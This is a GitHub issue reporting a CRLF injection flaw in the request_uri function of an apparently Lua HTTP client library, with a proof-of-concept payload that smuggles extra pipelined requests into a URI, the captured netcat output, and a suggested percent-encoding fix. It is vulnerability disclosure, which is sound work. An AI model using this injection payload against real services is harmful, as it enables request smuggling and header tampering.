Skip to content

request_uri allows CRLF injection #243

@z7z8th

Description

@z7z8th

The request_uri API syntax: res, err = httpc:request_uri(uri, params) allows the 1st param uri to contain CRLF (\r\n), which can be used to inject another request with http pipelining.

For example, the following code will result in 3 requests to be made.

  1. run nc as dummy http server nc -k -l 127.0.0.1 8088
  2. run test code
local http = require 'resty.http'

local httpc = http.new()

local mq = " HTTP/1.1\r\nHost: 127.0.0.1:8088\r\nContent-Type: application/json\r\nX-File: abc\r\nContent-Length: 2\r\n\r\n{}GET /xxx-inject HTTP/1.1\r\nHost: 127.0.0.1:8088\r\nContent-Length: 0\r\n\r\nGET /world"

local ret, err = httpc:request_uri('http://127.0.0.1:8088/hello'..mq)

Result in nc output:

GET /hello HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/json
X-File: abc
Content-Length: 2

{}GET /xxx-inject HTTP/1.1
Host: 127.0.0.1:8088
Content-Length: 0

GET /world HTTP/1.1
User-Agent: lua-resty-http/0.16.1 (Lua) ngx_lua/10019
Host: 127.0.0.1:8088

A possible fix is:

local http = require 'resty.http'

local httpc = http.new()

local mq = " HTTP/1.1\r\nHost: 127.0.0.1:8088\r\nContent-Type: application/json\r\nX-File: abc\r\nContent-Length: 2\r\n\r\n{}GET /xxx-inject HTTP/1.1\r\nHost: 127.0.0.1:8088\r\nContent-Length: 0\r\n\r\nGET /world"

local function uri_gsub_crlf(uri)
	return string.gsub(uri, '[\r\n]', function (s)
		return string.format('%%%02X', string.byte(s))
	end)
end

mq = uri_gsub_crlf(mq)

local ret, err = httpc:request_uri('http://127.0.0.1:8088/hello'..mq)

After the above fix, output in nc will be:

GET /hello HTTP/1.1%0D%0AHost: 127.0.0.1:8088%0D%0AContent-Type: application/json%0D%0AX-File: abc%0D%0AContent-Length: 2%0D%0A%0D%0A{}GET /xxx-inject HTTP/1.1%0D%0AHost: 127.0.0.1:8088%0D%0AContent-Length: 0%0D%0A%0D%0AGET /world HTTP/1.1
User-Agent: lua-resty-http/0.16.1 (Lua) ngx_lua/10019
Host: 127.0.0.1:8088

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions